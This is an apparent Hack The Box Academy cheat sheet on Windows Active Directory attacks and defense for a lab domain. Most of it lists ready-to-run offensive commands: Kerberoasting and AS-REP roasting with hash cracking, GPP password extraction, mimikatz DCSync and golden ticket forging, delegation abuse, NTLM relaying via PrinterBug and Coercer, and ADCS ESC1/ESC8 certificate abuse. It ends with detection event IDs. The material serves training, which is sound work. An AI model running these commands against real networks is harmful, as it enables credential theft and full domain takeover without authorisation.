HACKTHEBOX

WINDOWS ATTACKS & DEFENSE
CHEAT SHEET

Kerberoasting

Command	Description
`.\Rubeus.exe kerberoast /outfile:spn.txt`	Used to perform the Kerberoast attack and save output to a file.
`hashcat -m 13100 -a 0 spn.txt passwords.txt`	Uses `hashcat` to crack Keberoastable TGS tickets.
`sudo john spn.txt --fork=4 --format=krb5tgs --wordlist=passwords.txt --pot=results.pot`	Uses `John the Ripper` to crack TGS tickets, and outputs to results.pot.

Asreproasting

Command	Description
`.\Rubeus.exe asreproast /outfile:asrep.txt`	Used to perform the Asreproast attack and save the extracted tickets to a file.
`hashcat -m 18200 -a 0 asrep.txt passwords.txt --force`	Uses `hashcat` to crack AS-REP hashes that were saved in a file.

GPP Passwords

Command	Description
`Import-Module .\Get-GPPPassword.ps1`	Used to import the `Get-GPPPassword.ps1` script into the current powershell session.
`Get-GPPPassword`	Cmdlet to automatically parse all XML files in the Policies folder in SYSVOL.
`Set-ExecutionPolicy Unrestricted -Scope CurrentUser`	Used to bypass powershell script execution policy.

Credentials in Shares

Command	Description
`Import-Module .\PowerView.ps1`	Used to load the `PowerView.ps1` module into memory
`Invoke-ShareFinder -domain eagle.local -ExcludeStandard -CheckShareAccess`	PowerShell cmdlet used to identify shares in a domain
`findstr /m /s /i "eagle" *.ps1`	Forces a search within the current directory + subdirectories for the .ps1 file containing the string "eagle"

Credentials in Object Properties

Command	Description
`.\SearchUser.ps1 -Terms pass`	Script to look for specific terms in the `Description` and `Info` fields of an AD object

DCSync

Command	Description

Command	Description
`runas /user:eagle\rocky cmd.exe`	Start a new instance of `cmd.exe` as the user `eagle\rocky`.
`mimikatz.exe`	Tool used to implement the DCsync attack
`lsadump::dcsync /domain:eagle.local /user:Administrator`	Command used in `mimikatz` to DCSync and dump the `Administrator` password hash

Golden Ticket

Command	Description
`lsadump::dcsync /domain:eagle.local /user:krbtgt`	Command used in `mimikatz` to DCSync and dump the `krbtgt` password hash
`Get-DomainSID`	Cmdlet from `PowerView` used to obtain the SID value of the domain.
`golden /domain:eagle.local /sid: <domain sid> /rc4:<rc4 hash> /user:Administrator /id:500 /renewmax:7 /endin:8 /ptt`	Command used in `mimikatz` to forge a golden ticket for the `Administrator` account and pass the ticket to the current session
`klist`	Command line utility in Windows to display the contents of the Kerberos ticket cache.

Kerberos Constrained Delegation

Command	Description
`Get-NetUser -TrustedToAuth`	Cmdlet used to enumerate user accounts that are trusted for delegation in the domain

Command	Description
`.\Rubeus.exe hash /password:Slavi123`	Converts the plaintext password `Slavi123` to its NTLM hash equivalent
`.\Rubeus.exe s4u /user:webservice /rc4:<hash> /domain:eagle.local /impersonateuser:Administrator /msdsspn:"http/dc1" /dc:dc1.eagle.local /ptt`	Using Rubeus to request a ticket for the `Administrator` account, by way of the `webservice` user who is trusted for delegation
`Enter-PSSession dc1`	Used to enter a new powershell remote session on the `dc1` computer

Print Spooler & NTLM Relaying

Command	Description
`impacket-ntlmrelayx -t dcsync://172.16.18.4 -smb2support`	Used to forward any connections to DC2 and attempt to perform DCsync attack
`python3 ./dementor.py 172.16.18.20 172.16.18.3 -u bob -d eagle.local -p Slavi123`	Used to trigger the PrinterBug
`RegisterSpoolerRemoteRpcEndPoint`	Registry key that can be disabled to prevent the PrinterBug

Coercing Attacks & Unconstrained Delegation

Command	Description
`Get-NetComputer -Unconstrained | select samaccountname`	PowerView command used to idenfity systems configred for Unconstrained Delegation.
`.\Rubeus.exe monitor /interval:1`	Used to monitor new logons and extract TGTs.

HTB ACADEMY CHEATSHEET

Command	Description
`Coercer -u bob -p Slavi123 -d eagle.local -l ws001.eagle.local -t dc1.eagle.local`	Used to perform a coercing attack towards DC1, forcing it to connect to WS001.
`mimikatz # lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator`	Uses `Mimikatz` to perform a `dcsync` attack from a Windows-based host.

Object ACLs

Command	Description
`setspn -D http/ws001 anni`	Removing the http/ws001 SPN from the anni user.
`setspn -U -s ldap/ws001 anni`	Setting a new SPN, ldap/ws001, on the anni user.
`setspn -S ldap/server02` server01	Setting a new SPN, ldap/server02, on the server01 machine.

PKI - ESC1

Command	Description
`.\Certify.exe find /vulnerable`	Using the Certify.exe tool to scan for vulnerabilities in PKI infrastructure.
`.\Certify.exe request /ca:PKI.eagle.local\eagle-PKI-CA /template:UserCert /altname:Administrator`	Using the Certify.exe tool to obtain a certifcate from the vulnerable template
`openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx`	Command to convert a `PEM` certificate to a `PFX` certificate.
`.\Rubeus.exe asktgt /domain:eagle.local /user:Administrator /certificate:cert.pfx /dc:dc1.eagle.local /ptt`	Using the Rubeus.exe tool to request a TGT for the domain Administrator by way of forged certifcate.

Command	Description
`runas /user:eagle\htb-student powershell`	Start a new instance as powershell as the htb-student user.
`New-PSSession PKI`	Start a new remote powershell session on the `PKI` machine.
`Enter-PSSession PKI`	Enter a remote powershell session on the `PKI` machine.
`Get-WINEvent -FilterHashtable @{Logname='Security'; ID='4887'}`	Using the Get-WinEvent cmdlet to view windows Event 4887
`$events = Get-WinEvent -FilterHashtable @{Logname='Security'; ID='4886'}`	Command used to save the events into an array
`$events[0] | Format-List -Property *`	Command to view events within the array. The `0` can be adjusted to a different number to match the corresponding event

PKI & Coercing - ESC8

Command	Description
`impacket-ntlmrelayx -t http://172.16.18.15/certsrv/default.asp --template DomainController -smb2support --adcs`	Command to forward incoming connections to the CA. The `--adcs` switch makes the tool parse and display the certificate if one is received.
`python3 ./dementor.py 172.16.18.20 172.16.18.4 -u bob -d eagle.local -p Slavi123`	Using the PrinterBug to trigger a connection back to the attacker.
`xfreerdp /u:bob /p:Slavi123 /v:172.16.18.25 /dynamic-resolution`	Connecting to WS001 from the Kali host using RDP.
`.\Rubeus.exe asktgt /user:DC2$ /ptt /certificate:<b64 encoded cert>`	Using Rubeus.exe to ask for a TGT by way of base 64 encoded certificate.

Command	Description
`mimikatz.exe "lsadump::dcsync /user:Administrator" exit`	Using mimikatz.exe to DCsync the `administrator` user. This is performed once the TGT for DC2 has been passed to the current session.
`evil-winrm -i 172.16.18.15 -u htb-student -p 'HTB_@cademy_stdnt!'`	Connecting to PKI from the Kali Host using evil-winrm.

Windows Events

Event ID	Description
4769	Event generated when a TGS is requested. Can be indicative of Kerberoasting.
4768	Event generated when a TGT is requested. Can be indicative of Asreproasting.
4625	Event generated when an account fails to log on.
4771	Event generated by a Kerberos pre-authentication failure.
4776	Event generated when attempting to validate the credentials of an account.
5136	Event generated when a GPO is modified, if Directory Service Changes auditing is enabled.
4725	Event generated when a user account is disabled.
4624	Event generated when an account successfully logs on to a windows computer. The S4U extension notes the presence of delegation.
4662	Event generated by a possible DCsync attack. If the account name is not a domain controller, it serves as a flag that a user generated the attack.
4738	Event generated when a user account is changed. Any association of this event with a honeypot user should trigger an alert.

HTB ACADEMY CHEATSHEET

Event ID	Description
4742	Event generated when a computer account is changed.
4886	Event generated when a certificate is requested.
4887	Event generated when a certificate is approved and issued.

HTB ACADEMY CHEATSHEET